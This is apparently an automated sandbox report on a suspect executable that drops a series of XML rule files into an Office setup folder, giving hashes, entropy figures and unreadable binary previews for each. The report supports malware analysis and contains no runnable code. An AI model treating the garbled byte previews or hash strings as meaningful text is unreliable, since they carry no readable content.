.k1N...@K+.....G...!....bj.9........O.twS..Ya.G.i...6.O...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.727143547898173
Encrypted:	false
SSDEEP:	24:MY13QpesHdTgQpVauD/J3lprU1Pk3OZs1bD:MY1ses9sQtI0OZslD
MD5:	52CB7D40DB2695284D9A6A0E511EF020
SHA1:	9DF93D791F9A1FA46F95FDB0EB3450DC55B4523E
SHA-256:	283C50D0AFB997E91EC5E626AAC5054CC324AAAD3F97239E8B22D479B80386B5
SHA-512:	08DC299279BEC6BD2A14BAA5BC5E2654FA98BC37070AA569E17ED00E2C25FD153F3F196056F45EA369C970283BEC4C1C6E7D84D67055145479B489835FEB6786
Malicious:	false
Preview:	.<?........U..<.aY-.Xo...A......IA.y...+{"....jj.."..6..q..(....$m.....{GOWu\...e..}.&..i.O9f.....DF.....O..Z...._P'......B.2E. ..`l...../...yw0.P.0s\|A;....h..l.e....A.e."<.."Th9..3U..?.\|&.f[~Xi..}X..p.C.....ll.wDo....m.........gs.Z..F.4D..g..}...U.xI........-.=.(.f.'E.......x...2(T.......<..B...n&RZ....8.yz..{Y../.Gz....X+......4,.b.O......3...7..j..]/..X\|...........Qe.L..S....c...q..>...~.;.dT.Qu..L.qY^.+.V....... ...en.9..y;...__.,....U-.r..1M..Sg...~Y.........N.M........S.@.>......(v...P..y.O..g.....0.R..C...R.Z..#....]h.......s@U._.. i...4.1q.~.w..O9....Z{.nB.g6...$u%....}..2.>+....y..p4. T(.E.).....E?.D[O.!.\...?..2...~......G.\.[..pG.<.....TN-.`...$..{bb.M...g..."`G!..^..CS.?>(.....m...%#]..W..VV.P...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.69295133190263
Encrypted:	false
SSDEEP:	12:/jsZEgpgRPtNedt8hyQbLsj2kDBsp4TXreaZtnQ3ZI3LypSxokI1+cii9a:oC0gRPtUdtQyyQ2kJref32byPObD
MD5:	D094DFE70AF1A28E0AD5C910D321476C
SHA1:	3396BCDCB7184EDF67018EC083D8B0715B60E758
SHA-256:	BD20AA900B1974687B6BE173B3B455EFC90C15D6287C475B4484D682DDEE5724
SHA-512:	66AB1B84B117AC72B320EB65CF57DB76A0D4C767A0999B494B609FDF82D5548CB49673B4747378F518183DCE692DF350DFB6E039248D26A9139E6A8FDA923E45
Malicious:	false
Preview:	.<?-!P.R~..ZQ......q.8...Y..!..e.].f..4k..S&a:..Uo.M.l..4D..W.Y.4).v.,..Qd..Enx..x.@Rp..A.K...E.5e.!..Q^.T....4GY.a...........b...R...b.$.....a...........o..4.b.&...........-/.]..VZ......x..1..L70..7&K..>i.p..x..c.i.1.ft..").G........uw5W..<.H5.O .".....#&..r..t...^g........8v..4.. .e)`}f...c}QO..9nO.U...r.C..f..k...r].U~`\|.Z...2...n&#=..N.w.....m..lANs..5..s..w.n.".....,0..[....fc..9.n.J...n.s..r......[.ML.8.....;K..:.d..Bj+z..F.!.H..MF.).?#D.Ig!Q.i.?rv.......T......{.73C=..#&@Y...2.U....+.p:l..).x{L... ..2W../.MXr..h.?q...C...X ...fm...i~..H..}.F........3w...>.!......f.e...d..F...=a...N..p.T[C..1..\.!~..Xf].I<1.V...4~.;j....IEC5..{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.752689513128152
Encrypted:	false
SSDEEP:	24:oXKQS1+Xg/AF4j9hmWAq4aVrrR+VKFekPi+kbD:2bS12gYwX/V3oVmuD
MD5:	259B851BF6B577CC0C6BB96C7DBFB7BD
SHA1:	5E7579DA08BD8CC24DE5C6770AC0118FABF71A8A
SHA-256:	3A3D37101608502C685B72038132FD9BEACD3E2D02E6A109A516D8AF2CBF3C0F
SHA-512:	3BD12923B3B3D21779FB0D30BA5E25D47A26BB71FF97ECA69233C13C0AA4F56ED96E47946A56899DFAD18849FBB23A4F2A80FAF745E97E1205E975C116336A42
Malicious:	false
Preview:	.<?...{...h9...d..O.}.._...r0'..H....o%.B4..>$.....x#N...^.\|...."..Y..V....J.........C/.a0.m.....'....0.$....:W/.k.K).]..!.....<....A&...X...U...tq....q....s.z.\.\.....v:..6..J..L.^......hS....B.?..hu.b...!{^..NDa\?....!G.(.F..\|..g\|..t....9..=...C.s...9...hG..?....u.wveSQ.C...\|.k..;.]{e.b8}...I.M$.G....w.......e.....{zI..V...w....^.M.....H....N.`..X.+.I>7h\c...4.T._.\.5..f]..7..!.U..G....%.-;$..i...t>.L...m8..D...1.h+vi..`..[.g.y....%.\|.......h...w..!....1...I._.....:....[....!........}L.I.\|.M..A...Z......Y.).].....\.....7.tGy....L4 .........(..U<...>.k.k.n..S.t.WC.Fa\..sT..M..{.l.@...'.....W.4.6@^./...~7x..X.....`A.....\>t..vF.r..zb..y.8...^...$..=>.b\m..1......x$...&.....$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.668518248339307
Encrypted:	false
SSDEEP:	12:3qoUpdkv85KAMImUXVA5vVAFbS61Nf785HeyJEWJDXp20xM+UtVxEXinpz2n/qdh:6ookv89MWXVBNf79yr9JiVrz2r5YbD
MD5:	DA7EF47FEB6842BC5277C62D5C59BB0D
SHA1:	EDC21E201553EF78B94CDDB4E47F1E7A40338E2C
SHA-256:	0A18E68E8B157DE4827E9CB22E108901E7E11251CE6F499F8C19C27BEF07E2F4
SHA-512:	372324A628BC0FA2DF62397379054966F2F82A627B95204E3659BDD13690C8421288FDE62860A22C3BB5CE1D5E2D7096B310817B17D0687055943E5B6E58A6C1
Malicious:	false
Preview:	.<?q...^.tI..m...$6z.H...;..dk&.am.d.Z.8.#...8...Ug:}.H.-.0V..+.pB-0!s..kG....0G=.@.t.2........4..K....<...}..TF<..,.....V.........-c...!.....?M.#g.....h.v...]'p.".9...'..P.S.,+.Ch....IQ.A.7>......C...+...........y..5ptM...\|V!&y..U.;h].J.L.IY...4..V..}.......2g.o.."..N.!.J.S.F.\|..5c.7..?#....n.dW,j...........50w..}.N.).n......b1...-....qc...._..o.7...J:....9Et.Q.p.W....+....XG..I.Ct!'a.oy..}..W7).o..M.c.jt..*.......RD.......Q..@"8..}...j...ig$.]........;\|.7Sop5...}....l..d.N...&...C..7.je.v.....J=....y.O...)O.e@w{.$...d..l...EO.c6..z...Qd..h..,g<..[..1....0...~H.......i..o.o...lP2..p....Sd>H.>....a...Tuq....V..5.hQK]3.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.738494418104604
Encrypted:	false
SSDEEP:	24:MUa3FXqs8Z9uSPJt69YQifczET35xWdo+4VrULDbD:MUaBkvu64Y5ZT358do+IrYD
MD5:	D83DF19B51E9E36E5C89AF454287DB58
SHA1:	5B24DF5A3817D27979EF24409EF0C4B0B5068636
SHA-256:	A73EA7E50DB1B998E356A2BE57F8B263B60E89467BD09EB44BF7ADBFF14E9F9C
SHA-512:	D7466C95FC1DC7106BE43E5D5D798FDC0E0F9C963252B5D53E6B3DA772074628FD8278F590E5AF2ED012C00B7D7574E48A346477D9E4E8B1CE351F6FC4392F23
Malicious:	false
Preview:	.<?...*...s...$.^...~..e.9y.Cf&s.$.N!^.... .........o0.......vv...f..Y.m.u...O.x%x........8....3T7\AY......../...}.0..v....o....Q.z'e...V..^.1.=G............!.].\|.m..f.$..#@.>....uP.q..4....y......../....ok.i.%.a7]&.w....o..t....-..WT....."5_..-a..aN...l.H..+..)....mpY...\RR.F...d...K.V...RTt{Xi..l.'.(.@...o.............9.p-....N.K5......s.La..r.5.3].i4.U...M..br..W.... ..rH..,. 7#..n.8.DI.o.7..5AP..V..j0.....W`D...@C...+.a.n.....3..7[...sC.1.!.F.{..9G.5N;.,.s...8.~..?pO.....]dxa.k.....z..4..F.:.lvf{...T.S......;.....wg..\|.ubh].XC...^V..d...G. .G....On...Y......9.7#e....g...J../..r.nJ....fe..}....OQ6.Mn:10.-K._....UW...bl..Em;....t.h}-V.ea..Q.<&N.Z.q.f!.....R.j...L.....h3K?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.710077426491081
Encrypted:	false
SSDEEP:	12:LSSb6kvlB3eE9vykuzs+rbqpYFOcZNHGpsMSIAqOCtclrTKSf9TWvVCLdhrKnNav:2s6mlVhfu/bqGFOcKpvAqO13+EL3CUjL
MD5:	70234C995AE51428209D9F64D0CEAE8F
SHA1:	AC2A081DE7AC48B6DB41A645B2D9963B421A2582
SHA-256:	DE1AD06546848C29DCEE558E6198EFED046B62166E296BFF9CA62EDEAADB6D75
SHA-512:	44ADD89B3BBD0CCEFB799429DB60259E36495C970567E7EBFEE153B2E3B2CFD1DB612B1B8064754951DE76794D10B33063F07EB1AECF92D6181F68E5D3560D72
Malicious:	false
Preview:	.<?.qr..;.N.Y.;.ed.Q2....Z~.}..5...._...X.J...+.y.3...#R.p...P..^......8./t.n...z.m..:3.p.'!...~.O. .A......c..q...s..O.c....>..T..N.b...+..'..........Q...9O..E..I.fw..$(.K#w..........4D[..Sn.+.6P.%....:....z...e....M.......v.;#.u....:.V.p.IfJv.....N}.b.V...0..Q....V.!n.7....Y.:..n..-...Fj..!0.B.......p....t...l..c.v. .v....W..e.S'>........>...$.....nbxv.9..'..B....s....`...[.....65<.0..T.D....xb.g..;7..g2#..s.....R.1z.H...M._._!......^..yW7x./..:.:.oT..C;....N...;.&w...w..nW.^..n..........y.6._gt=.=1..~K)pLY...1D..d ....@b.....Q...f%K.\u..&......F"....h.-p....a5.d\|v..6H".}..e.`..".eG.\|2Y.....U.t...5.`.^.. wl.n....-6....<%..4h.,.T.>...g'%(?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.732566678311827
Encrypted:	false
SSDEEP:	24:3QX1mm3/aWETFdVWrq5GGLz2hZCRJBtHOfutbD:g91ETBh+rCPBtHTD
MD5:	2A61A6B75B587E81216ABD7BA45DFA12
SHA1:	2B9B8A0164FE3562689DBA1ECB1AC0B6D949D758
SHA-256:	9CCE41907927E35A57034732BC8B5C779783655F622CF3C9CACDABC2510D3B40
SHA-512:	FA5FA30302C37167AE5322BF774567EF926836C5A6C45FFCC6A4CEBB36BE165476BA3B1154F8DAEEA2C11BA290B908A1884A206B2C79A0D21D06865F75061B5D
Malicious:	false
Preview:	.<?.c. ...F....SW. .....s......2{....l...(Ps...\....I.U.H.I.;T.n..,f.U^M.1Ko.....C.<...BQ0.99.........P.U{..gg....aVH.s.@..E....B....x.N... (....s.B!..F..A...h...9..).l..H^X....xr".W{I..`..4....Q.....\|...T........&3.hu[K.......[.k...G6.j..W.c...V.[ev....U..f.....d....Q..K.2.1.j.f{0D.y..s...3.or.........Z.e..l..zw-..k.......Pc..^......y...Y..j.G...Z..T.'..[@.6...!7.V.dAI.!...-..H_..+A.Y.....fI.c(..%(.m_..>.,Y.b:.....-R)FX{x./...MV3...b O)z.\|]$z..P7.G.o.6.].5.....P.7...L.....^.n%..*..-W%.O......lV...0..$..\.Qc.w..=3=.I... BW.&.O=L......._...7..N.'+ ..<...F... &.....L.uFD..).x.8$....-..S.Vp0~..Xk..q<.(3s.uX.D......?yOe.a$.Q....(.?^..F.C.c&b.v\V.?.......p...F:}T:k..0$.L..$.-...3...;b.O..k..E.;\|R.W...D..~tr.HSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.694289762526045
Encrypted:	false
SSDEEP:	12:WQ4JdXrtwF9RYt+WMJGT4WGYtR6BYdWu2+YjZDgZxcyFBgHCA1+cii9a:XgtiF8t+WHcWGYtcDZDgwyFBg4bD
MD5:	5E223734BE15E2E14ECB50D8D00C49ED
SHA1:	983A9E1042E9B494E361F9D537768D8C55BA0746
SHA-256:	EE771A9F9CC9741B9785EC244596515CDE349334D5F8803427399B04E78EFA63
SHA-512:	0E04F10A25064718434691726609C0FF36AE2DC38366C661D3926F44558BA8BCAC42973F8A9C9C1DD4795603B9B1A7442AEED5796EEA9AD5E1AA7D9BBA9C0820
Malicious:	false
Preview:	.<?@..1P..............w....l.-.?Y.....P.y.3.}n..._......R..B..T....\|.........`m..........Y.Th..M.+U......."._x..o.....a..)......l.S..7;G.../...D:....be".x!3y7..=.Da.O.....4.j..E..?..].O...q.w..=..GZ.s.J!.......`g..yg1..l...5G#.c.I.s..f3.6Ry...3.A..}s.J.J.c.O...N..<...8....r.........-...[.5...".l...2!.E....5..X.4.y.y.).Dg=z.......d>..nHN..L..7....x.~.....+..6... ...(.Y...G8...3.G........+..Q&...+........A....}T....j\|[L.......[3O ....K..>T2..C.`%..m.-<.D~...=..T....S...Wkd....P.eJP......2z.Z..fy.=...a....p...'.-a9...\|..!}...Y.^0'c...v....-}.F.Y.L.i..Z.!%g...n[f.....z.H....F.)...g.!..g.4...`.?..z.\...`.....;...c...&..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.715330352905936
Encrypted:	false
SSDEEP:	12:P/yTEWHXCg0ond/Av9KmNN/YwZO19U73T6BfveTfCPvTbAhdIf1+cii9a:P/NW3Cg0od1c4U73T69WTC3TbspbD
MD5:	E23459B15C7FBDC70494F825AF3EAB11
SHA1:	79E1FE5E97A86AFDF4B5CEFBB3780072899F6ECA
SHA-256:	9A32D43C546C651BBA097296A85AD150696E7DD7DD02BB324D7E63E04E70D78C
SHA-512:	9CC03585EA1828F56A9F7C45C6D843B85B5DCDC7F2492AD90FCE4C0E49F9503C91AA0399108EFDED9E877D7B9354B4BD86DE9D8CB9C08079DDC64057387FE846
Malicious:	false
Preview:	.<?.{21.....u./(Y...'8z...u..eu-....hP...I&l.9.....P.C...\s..M...FM.:.0.0.LC.]~..D....H..u.Xvk.D.^.....}...]......4Cf.U....g......; .H.?.4v..W.WA...Z..."a..!.n.,.u..!p.SF.....`.r..P.\I2..e...u...`.)...?C...cz:.2.-Dx..k..\.Z..!.{..wuN......[.t.EI..a...)....p.V4.2R..aC......@WO...<v..$#U...?.LOn....?.S"..z...]z..w2l..y.....j..m....C..:.M.b...._.{.%.....Z...i..!.X...?....q.._"......y..E.....2.....^Od....`v...I..j...v.].q.......yc.F..G....Th.F.R...IE..d`21....=.4<..H..jE.XV!-U.jm.T!...C.d[C.=g.p.p.!....0..).T+.0.b..M....r...H.........B.(.wZ....g.7.D.Y]...e...(..F.._h.....:.....6s.k...]/.....R..._..;...pc.x.....D...L....;..H...B...y.!.Hl......m.h.o.e.t.s.H.....o.:]....J{.N.\..D.y..Y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.69017956920632
Encrypted:	false
SSDEEP:	12:0l5JCdOVz8nEx1PFQmn1jcN0kIbniKXXlLXmCt1WmSq9qj41+cii9a:0mRnsFznHbniKHlyW1IYQbD
MD5:	C61979DB1ACAE61D72660EF91AD1D9C3
SHA1:	F3DF4F30A4D90B48C70117EBDE8EF3AAA12661AD
SHA-256:	585D72971C902A317B22D9DD7D7D9C465126F7AEA3758C00E889FEA642CD5D49
SHA-512:	80880B2E81F61A5D461E029D122BE9EC888325B41203D11B046AE74088A435D8BC52BA5CB22BECC2EFA70FDD8418A5E53D6C41C7E9351B59CEE0F7433E60953D
Malicious:	false
Preview:	.<?....../L...I..t.7X.x-X.].1....y4..^.).DA.FB.W..[.s...I.......D.Y.<}.......A........~:'...\|..;.v.\|Cu.Iz...a.r..Z.......T/........{.Wd....6g..{w.Z.....I&.'.....b..2tZ...b.Pv....+.#.w.I.Ny"..3.u...2#..32.....^F!r!8....c..D.-.:o.PY....e+..Vv.{.C...!$e....'.{..-..C..N....`iVb..Cq....n]&.4..w'.c.....c.i.L.$.Q..i......l{v......F;0q.J,4.S.....i...H&C.......,......t..C8. .....r..K.c..An<..g....5.B...W.'....i v.U".~M...KR7_EF.>.D3.<...9.......B..!.[. .=.o...+.)\<.....8...?`.<'.yE..jh.E.J..Y.......ji<..L.Q..?..-.....H...fnX.T.d.]z.h.@rL./.y......h!x.v..)4]3...3.X......#.K~..=q.Q...U4..aP./UQ2.I...-...f..<X.q.....]..1...q....Z."..6..W7.....2..........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.700470761328983
Encrypted:	false
SSDEEP:	24:EFdviX4kPaXI28uvJhwsy+SyyUDS0WRbD:KioDX8gJOsyFD
MD5:	999174FD9644B06A534158F5C9C5D2EE
SHA1:	27765CEB05843639CF3159C47612CAA6606B95FF
SHA-256:	F4D6A65E9717AB0BAA0B3B3F19FE9ABCF105460E24AEC2609292C5A2F73FE47E
SHA-512:	EC71AF19EDD727055FF08897828EF7752D198D378D5C576521F22D87695EF39FAC62C63643AF16B7417E6653AF4CC800BC0091513D86761C3BD5146D1FDB5611
Malicious:	false
Preview:	.<?........._%..k.Y....".a..O+..i.(.nl...B......X(......,..Y...C....z..`.W....RS.....O...kz:.....V...R........4.....c6.E~S..^..........E.....r...d..+.e....2.a..j.X8d....q...ysN\|.<r.....-G..)+...2..>H.4.+.w.....m2]..p..9..#LkR..{6..hX.[x......0...3...].....,].8...y.[t.~H..T..o.x...+...i....2.....:.$.....6.{..=...F.Y..n/.._("E.L0v@./.V...1..a#./JcoG>..H.{..,.X.5w.VtH=^.k..........=.Z.....\...R.u..=.$P...Pa.2..&a ...#.{SP...>.!.e.s.4.g2c......[...[0....:...Vm".....P``9.......2...s+T.....y..VS..e.>......q..R.#NNR.....k......s......&....g....>.o.L......_g.......h..\|..g.z<...\|W..O..T....d>..@..H.E...{s.Bl.e........P.t.t."#..=+...5`......ux.k.\.>.h\|{r...d.s...~...v.5`.*.P-1....o..v.3(.....D.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.6919287951255795
Encrypted:	false
SSDEEP:	12:qh77rtniN8LyL2ujRJ2Jc9EyPJvYg+cxf2EQR3jJjXK/U17jf1+cii9a:8x+ck2ujRNJvYY4J1le813sbD
MD5:	84A8481DDD9ACB6F8087CCAC77844497
SHA1:	1C3AC1D531B3BF9D60108176B5C2918B63918716
SHA-256:	57E784E6C0437A8BDF46054F4B20E45433503E2A280B297C49FE45955EEF4A38
SHA-512:	6C486644A31EF062730F290C46608353C29B418DD758AAE67B051E8496C84515F30DF185544247B17A19EFA7D65DC42417C7419598F17CD9FB5886891EE1DC4E
Malicious:	false
Preview:	.<?............g..T7.K......\/;#.$-.-"..i6.<.)... ...,\`.$z..Be....BW..H.)N-."./.......?..?#....w.\|...8..cA.O..~.5.%.ju..w.]....A.....E..........p}9k.......?./.P>...7......oS.(?...RO...!)h9.(.'L..G.g....U.M>.]........)iD=.&e89..\|..@u..Z..9Y`.H<...x&...4..U.C@.:&M..$b..Y.]......j..t_f..B..Yz6.s.:.Q=}.6A@.W...q"P.G.r..s;M.O.,OV..( .;....,r..l...h.$.....&.d.._....&je;...M.zN.).;1}..g..+.,.lhR_U0..!m=......L.k[..,b./.o(."..&.u..6...#.u~#f9...z.Uu-8.U)7.....I..~7.q<.y...+...wW.....BpKF.I......x9U..h..,.N!...F/......~C>.T...T..>..i..p.[...u..u....f.Htw...7......%...6.`t..c$I>v....$\|xp..3...A.%....*.7..&[./.(.uw.E.7:.6....b...Lv..2].v..^...._,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.738579089064057
Encrypted:	false
SSDEEP:	24:dHzTXTzNjReoOG47EFvZT+Micx1ML0ah6SF2BzIZNdASHbD:dHzDTn4IZJ/ML0WRF2Bz4VD
MD5:	5957FAB5715ABBCB28433E82F8FD0765
SHA1:	346429AD6CB50B3336849262FC4140B3C033F5C5
SHA-256:	8E6C412E301A6AAAD049AC137906F47BBE14C1E18D7B8DC8D6A0F799B04735F0
SHA-512:	DA901C0016C25FFEC71BD7E20344FA0522D29CAE2C826A5533F8E413D34D2560068D26C3135DA5271961F661D12E3A9E4FDDAF764E1C45515B4C916B7E7313FD
Malicious:	false
Preview:	.<?.Kk......~".X.~..K.....C... ..y.....&. .V.-.)}....O.I..!\...zX.....i.\pM..c.;.t.3.C....mEE...T..~.po..^...e.f..k..C~.]..:/...v.Pbg.vNW.@..'e<..+7.D....Z.X...T..Z.`...A..?.}....$..\|.@E.fq........N8...n..+.(.e..6..1N_-..&..u.........C..x...T.+.c.(3.v.>d.{....[B.8%?.B..b!. OpAY.h.W....r..W@.#.+.....ay.3w...M.^..}vN..{."7..qvy..E\|;..B..v......h.,.......+...]..=v....W....?9.y0...9u.L.. .T%.1\|.i..............n6...z....q.....TF.!.r......A>.(...2bA.2...D...G...../v..r..o8.:.Ej..x....FL....z.jr]J.q..C.s...$n..V...=.9>,.....LT..fa..M...Cvr....d..<^pj..@z..il..~...Y..[.d.8.H\z..R...~..6v.. .B....Z.l.....=o...Ft...X..!.....JL....o..nQR_E.A.v......X).G~m..,...V.%.4.L...U..8.#.....[g...F.%).D7.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.73596559327193
Encrypted:	false
SSDEEP:	12:XCO1JylZHQoowkkxZmtdfyOtmY2Jx3rDrcvkoye9jOaJCgKGtUGf1+cii9a:SmMHQooo/mtItx3r5oVH8GzsbD
MD5:	84B72E251D8F201822BCF2AF7193CCB2
SHA1:	739BB226175ABA35FBA55228563A2EB17414B680
SHA-256:	43D6F3D4D112702FCD74C0CD6C61BD04A247C1F1145721B3DACA48F7190B754D
SHA-512:	27AC944E3865F624784D7537E3DBDFE3D2378D2C82BEE4F61D9EF5F0B6ED33776131C5E7C8B367131FB75B1EC5B153236D4F08E207A34521FA0D0A96632194DE
Malicious:	false
Preview:	.<?f.a.8._....3(......\..N.x]....j.D..4W...4.e.C.1..]...~..[.g....(U.M.4....>...B..<}.z...0j...b.....Z..G.T...."..=...........z.5=..4..D.hm.u'. .....<..:.=...n..>ee...HT..}(....k.B.J'T...U.n.N..ee.v........t{7.v.....a...d.....pS!.-uhk.t.`...Wn..).8...x{F.[oq.....\....t.A.'S.?.G..5.o..1.dY.............#"..]x=..~y2K.d..,W.m....8.s..YY.."2..._...ZI.._+..HMx.j.n.. .bQ.3Ww.........3?.z....=..RK....L..:..1p.....f..Khi.d}..i.BMS.f~6..-........#$.E.'...rc'.A...T+.se,/.ev.v..8;*.Nm..h.....3.K....TJ'.W.c .-v..7H+....X\|.....,.2....@......^...3..1~'...9....._N.c.......L....d...._e...Q4"....c(u;.B.}.<..;...4Y.3..&.0[...C....M..&.. x...J....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.74824158582574
Encrypted:	false
SSDEEP:	24:CzY/qDOwmHsOVPmeRx6VfY396JwUHYk//pAbD:OawDO/X6VFx4k3paD
MD5:	082495203DC930CD183D309308698238
SHA1:	AE06E2AD1DC934AC9775AB83250341B3488E47BF
SHA-256:	81AF06434BFF00CBAB8922A187850C508740D9F74BCA79789C55675C2E939A8F
SHA-512:	A43FBB5AE47CFBB9016F052639F2A437824D1FF7E2538B7C7599E91914AD0E4CF32C5C250CB0D18FF827A377A35C8EDA51B0BF18C81666D24A07618AB64A2D25
Malicious:	false
Preview:	.<?n..7.....vQx.0O.K....^..!5+AI...p.x%c........w.S...C9r.....Cq..g.Y.Qjl.gV..O...?W....[.............).\F-......v... e....{...& .'Lc.^..NP{..>.8(.V.i@.p+..Z..\0..8,F......y>5......"...0.....%\.........:.V.....d.....2.c..[.8}>Dj=x6.yWix.d..G.E...B.mUq.V..!r.{.o}.I.`.=..b.s..$..].}...};H.)..<..l....Bl.q.....b......&....Z@O.T.^...'tS..........TQxk..hX...O.....Nz@?.&.9G.n..!..rkJ8......J!H%...X 9I...~1.X.@....4KP.....z!.h,...y7 ...)>ed... ..0;aw7...;p./.<I.1. ....?..0.j..!....E...Q3k.!9.......[-.'&..I.v..M...MV/%1l.a9[....[... ..0_..T.Va.4q..%.@.....o.RP*=$....[..........-.M.2..D.^].g.`.....w.\.m....K2jX.....h]...:.=HZB.-d1...K....V......a.u.,.x....d`Q..Lo..0...B.X..A....y.....po..4......#)(.f..eSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.706780300229659
Encrypted:	false
SSDEEP:	12:sPkIaVfMIUzzYbzrjsrSCxXB51G0jUzYMCSntjk75rNTsUFSLCN6d1+cii9a:sPzCYsnrDCxXB540DM1Rk9jpN3bD
MD5:	1F164E1B3C3B2826B46EA6AD5B8F23AC
SHA1:	6E3B3AD84689E97BDFAF9A64BCD4E0D3B0C447AA
SHA-256:	6B9508AE5297F59F2830DF899D203987FA12782F13BFCF535BB3A142482D973C
SHA-512:	B618AA71D213AC7B1F3E57E6F1B7BEB5663280EF1061351D50A10C0897BD9E44A1A5708BF1CAAED83AD0F6ADA1A24B5868FDDBFE20DFC36F309A03E04905E6F9
Malicious:	false
